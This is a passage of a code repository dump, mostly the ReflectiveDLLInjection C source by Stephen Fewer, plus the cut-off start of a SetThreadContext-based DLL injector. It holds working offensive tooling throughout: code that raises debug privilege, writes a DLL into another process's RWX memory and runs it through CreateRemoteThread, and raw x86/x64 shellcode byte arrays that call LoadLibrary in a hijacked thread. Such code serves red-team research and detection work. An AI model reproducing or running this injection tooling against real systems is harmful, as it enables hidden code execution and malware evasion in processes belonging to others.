WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n \n \n Level3\n EditAndContinue\n \n \n true\n Console\n MachineX86\n \n \n \n \n X64\n \n \n Disabled\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n \n \n Level3\n ProgramDatabase\n \n \n true\n Console\n MachineX64\n \n \n \n \n MaxSpeed\n true\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n MultiThreaded\n true\n \n \n Level3\n ProgramDatabase\n \n \n true\n Console\n true\n true\n MachineX86\n \n \n copy ..\\Release\\inject.exe ..\\bin\\\n \n \n \n \n X64\n \n \n MaxSpeed\n true\n WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)\n MultiThreaded\n true\n \n \n Level3\n ProgramDatabase\n \n \n $(OutDir)inject.x64.exe\n true\n Console\n true\n true\n MachineX64\n \n \n copy ..\\x64\\Release\\inject.x64.exe ..\\bin\\\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "Inject/ReflectiveDLLInjection/inject/inject.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n \n \n Source Files\n \n \n Source Files\n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/GetProcAddressR.c", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#include \"GetProcAddressR.h\"\n//===============================================================================================//\n// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which\n// wont be able to resolve exported addresses in reflectivly loaded librarys.\nFARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )\n{\n UINT_PTR uiLibraryAddress = 0;\n FARPROC fpResult = NULL;\n\n if( hModule == NULL )\n return NULL;\n\n // a module handle is really its base address\n uiLibraryAddress = (UINT_PTR)hModule;\n\n __try\n {\n UINT_PTR uiAddressArray = 0;\n UINT_PTR uiNameArray = 0;\n UINT_PTR uiNameOrdinals = 0;\n PIMAGE_NT_HEADERS pNtHeaders = NULL;\n PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;\n PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;\n \n // get the VA of the modules NT Header\n pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);\n\n pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n // get the VA of the export directory\n pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );\n \n // get the VA for the array of addresses\n uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );\n\n // get the VA for the array of name pointers\n uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );\n \n // get the VA for the array of name ordinals\n uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );\n\n // test if we are importing by name or by ordinal...\n if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )\n {\n // import by ordinal...\n\n // use the import ordinal (- export ordinal base) as an index into the array of addresses\n uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );\n\n // resolve the address for this imported function\n fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );\n }\n else\n {\n // import by name...\n DWORD dwCounter = pExportDirectory->NumberOfNames;\n while( dwCounter-- )\n {\n char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));\n \n // test if we have a match...\n if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )\n {\n // use the functions name ordinal as an index into the array of name pointers\n uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\n \n // calculate the virtual address for the function\n fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));\n \n // finish...\n break;\n }\n \n // get the next exported function name\n uiNameArray += sizeof(DWORD);\n\n // get the next exported function name ordinal\n uiNameOrdinals += sizeof(WORD);\n }\n }\n }\n __except( EXCEPTION_EXECUTE_HANDLER )\n {\n fpResult = NULL;\n }\n\n return fpResult;\n}\n//===============================================================================================//" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/GetProcAddressR.h", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H\n#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H\n//===============================================================================================//\n#include \"ReflectiveDLLInjection.h\"\n\nFARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );\n//===============================================================================================//\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/Inject.c", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include \n#include \n#include \n#include \"LoadLibraryR.h\"\n\n#pragma comment(lib,\"Advapi32.lib\")\n\n#define BREAK_WITH_ERROR( e ) { printf( \"[-] %s. Error=%d\", e, GetLastError() ); break; }\n\n// Simple app to inject a reflective DLL into a process vis its process ID.\nint main( int argc, char * argv[] )\n{\n HANDLE hFile = NULL;\n HANDLE hModule = NULL;\n HANDLE hProcess = NULL;\n HANDLE hToken = NULL;\n LPVOID lpBuffer = NULL;\n DWORD dwLength = 0;\n DWORD dwBytesRead = 0;\n DWORD dwProcessId = 0;\n TOKEN_PRIVILEGES priv = {0};\n\n#ifdef WIN_X64\n char * cpDllFile = \"reflective_dll.x64.dll\";\n#else\n#ifdef WIN_X86\n char * cpDllFile = \"reflective_dll.dll\";\n#else WIN_ARM\n char * cpDllFile = \"reflective_dll.arm.dll\";\n#endif\n#endif\n\n do\n {\n // Usage: inject.exe [pid] [dll_file]\n\n if( argc == 1 )\n dwProcessId = GetCurrentProcessId();\n else\n dwProcessId = atoi( argv[1] );\n\n if( argc >= 3 )\n cpDllFile = argv[2];\n\n hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );\n if( hFile == INVALID_HANDLE_VALUE )\n BREAK_WITH_ERROR( \"Failed to open the DLL file\" );\n\n dwLength = GetFileSize( hFile, NULL );\n if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )\n BREAK_WITH_ERROR( \"Failed to get the DLL file size\" );\n\n lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );\n if( !lpBuffer )\n BREAK_WITH_ERROR( \"Failed to get the DLL file size\" );\n\n if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )\n BREAK_WITH_ERROR( \"Failed to alloc a buffer!\" );\n\n if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )\n {\n priv.PrivilegeCount = 1;\n priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n \n if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )\n AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );\n\n CloseHandle( hToken );\n }\n\n hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );\n if( !hProcess )\n BREAK_WITH_ERROR( \"Failed to open the target process\" );\n\n hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );\n if( !hModule )\n BREAK_WITH_ERROR( \"Failed to inject the DLL\" );\n\n printf( \"[+] Injected the '%s' DLL into process %d.\", cpDllFile, dwProcessId );\n \n WaitForSingleObject( hModule, -1 );\n\n } while( 0 );\n\n if( lpBuffer )\n HeapFree( GetProcessHeap(), 0, lpBuffer );\n\n if( hProcess )\n CloseHandle( hProcess );\n\n return 0;\n}" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/LoadLibraryR.c", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#include \"LoadLibraryR.h\"\n#include \n//===============================================================================================//\nDWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )\n{ \n WORD wIndex = 0;\n PIMAGE_SECTION_HEADER pSectionHeader = NULL;\n PIMAGE_NT_HEADERS pNtHeaders = NULL;\n \n pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);\n\n pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);\n\n if( dwRva < pSectionHeader[0].PointerToRawData )\n return dwRva;\n\n for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )\n { \n if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) \n return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );\n }\n \n return 0;\n}\n//===============================================================================================//\nDWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )\n{\n UINT_PTR uiBaseAddress = 0;\n UINT_PTR uiExportDir = 0;\n UINT_PTR uiNameArray = 0;\n UINT_PTR uiAddressArray = 0;\n UINT_PTR uiNameOrdinals = 0;\n DWORD dwCounter = 0;\n#ifdef WIN_X64\n DWORD dwCompiledArch = 2;\n#else\n // This will catch Win32 and WinRT.\n DWORD dwCompiledArch = 1;\n#endif\n\n uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;\n\n // get the File Offset of the modules NT Header\n uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;\n\n // currenlty we can only process a PE file which is the same type as the one this fuction has \n // been compiled as, due to various offset in the PE structures being defined at compile time.\n if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32\n {\n if( dwCompiledArch != 1 )\n return 0;\n }\n else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64\n {\n if( dwCompiledArch != 2 )\n return 0;\n }\n else\n {\n return 0;\n }\n\n // uiNameArray = the address of the modules export directory entry\n uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n // get the File Offset of the export directory\n uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );\n\n // get the File Offset for the array of name pointers\n uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );\n\n // get the File Offset for the array of addresses\n uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );\n\n // get the File Offset for the array of name ordinals\n uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); \n\n // get a counter for the number of exported functions...\n dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;\n\n // loop through all the exported functions to find the ReflectiveLoader\n while( dwCounter-- )\n {\n char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));\n\n if( strstr( cpExportedFunctionName, \"ReflectiveLoader\" ) != NULL )\n {\n // get the File Offset for the array of addresses\n uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); \n \n // use the functions name ordinal as an index into the array of name pointers\n uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\n\n // return the File Offset to the ReflectiveLoader() functions code...\n return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );\n }\n // get the next exported function name\n uiNameArray += sizeof(DWORD);\n\n // get the next exported function name ordinal\n uiNameOrdinals += sizeof(WORD);\n }\n\n return 0;\n}\n//===============================================================================================//\n// Loads a DLL image from memory via its exported ReflectiveLoader function\nHMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )\n{\n HMODULE hResult = NULL;\n DWORD dwReflectiveLoaderOffset = 0;\n DWORD dwOldProtect1 = 0;\n DWORD dwOldProtect2 = 0;\n REFLECTIVELOADER pReflectiveLoader = NULL;\n DLLMAIN pDllMain = NULL;\n\n if( lpBuffer == NULL || dwLength == 0 )\n return NULL;\n\n __try\n {\n // check if the library has a ReflectiveLoader...\n dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );\n if( dwReflectiveLoaderOffset != 0 )\n {\n pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);\n\n // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...\n // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region\n if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )\n {\n // call the librarys ReflectiveLoader...\n pDllMain = (DLLMAIN)pReflectiveLoader();\n if( pDllMain != NULL )\n {\n // call the loaded librarys DllMain to get its HMODULE\n if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) \n hResult = NULL;\n }\n // revert to the previous protection flags...\n VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );\n }\n }\n }\n __except( EXCEPTION_EXECUTE_HANDLER )\n {\n hResult = NULL;\n }\n\n return hResult;\n}\n//===============================================================================================//\n// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function\n// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR \n// defined in order to use the correct RDI prototypes.\n// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | \n// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ\n// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.\n// Note: This function currently cant inject accross architectures, but only to architectures which are the \n// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.\nHANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )\n{\n BOOL bSuccess = FALSE;\n LPVOID lpRemoteLibraryBuffer = NULL;\n LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;\n HANDLE hThread = NULL;\n DWORD dwReflectiveLoaderOffset = 0;\n DWORD dwThreadId = 0;\n\n __try\n {\n do\n {\n if( !hProcess || !lpBuffer || !dwLength )\n break;\n\n // check if the library has a ReflectiveLoader...\n dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );\n if( !dwReflectiveLoaderOffset )\n break;\n\n // alloc memory (RWX) in the host process for the image...\n lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); \n if( !lpRemoteLibraryBuffer )\n break;\n\n // write the image into the host process...\n if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )\n break;\n \n // add the offset to ReflectiveLoader() to the remote library address...\n lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );\n\n // create a remote thread in the host process to call the ReflectiveLoader!\n hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );\n\n } while( 0 );\n\n }\n __except( EXCEPTION_EXECUTE_HANDLER )\n {\n hThread = NULL;\n }\n\n return hThread;\n}\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/LoadLibraryR.h", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H\n#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H\n//===============================================================================================//\n#include \"ReflectiveDLLInjection.h\"\n\nDWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );\n\nHMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );\n\nHANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );\n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/inject/src/ReflectiveDLLInjection.h", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include \n\n// we declare some common stuff in here...\n\n#define DLL_METASPLOIT_ATTACH 4\n#define DLL_METASPLOIT_DETACH 5\n#define DLL_QUERY_HMODULE 6\n\n#define DEREF( name )*(UINT_PTR *)(name)\n#define DEREF_64( name )*(DWORD64 *)(name)\n#define DEREF_32( name )*(DWORD *)(name)\n#define DEREF_16( name )*(WORD *)(name)\n#define DEREF_8( name )*(BYTE *)(name)\n\ntypedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );\ntypedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );\n\n#define DLLEXPORT __declspec( dllexport ) \n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.cpp", "content": "// InjectDllBySetThreadContextx64.cpp : ̨Ӧóڵ㡣\r\n//\r\n\r\n#include \"stdafx.h\"\r\n\r\n#include \r\nusing namespace std;\r\n#include \r\n#include \"tlhelp32.h\"\r\nBYTE ShellCode[64]=\r\n{\r\n 0x60,\r\n 0x9c,\r\n 0x68, //push\r\n 0xaa,0xbb,0xcc,0xdd,//dll path +3 dllĿеĵַ\r\n 0xff,0x15, //call оең64ֱcall Եַ \r\n 0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr\r\n 0x9d,\r\n 0x61,\r\n 0xff,0x25, //jmp\r\n 0xaa,0xbb,0xcc,0xdd,// +17 jmp eip\r\n 0xaa,0xaa,0xaa,0xaa,// loadlibrary addr\r\n 0xaa,0xaa,0xaa,0xaa// jmpaddr +25\r\n\r\n // +29\r\n}; \r\n\r\n/*\r\n{\r\n00973689 > 60 PUSHAD\r\n0097368A 9C PUSHFD\r\n0097368B 68 50369700 PUSH notepad.00973650\r\n00973690 FF15 70369700 CALL DWORD PTR DS:[973670]\r\n00973696 9D POPFD\r\n00973697 61 POPAD\r\n00973698 - FF25 30369700 JMP DWORD PTR DS:[973630]\r\n}\r\n*/\r\n\r\nBYTE ShellCode64[64]=\r\n{\r\n 0x48,0x83,0xEC,0x28, // sub rsp ,28h\r\n\r\n 0x48,0x8D,0x0d, // [+4] lea rcx,\r\n 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 \r\n\r\n 0x48, 0xB8,\r\n 0xcc, 0xcc, 0xcc, 0xcc, 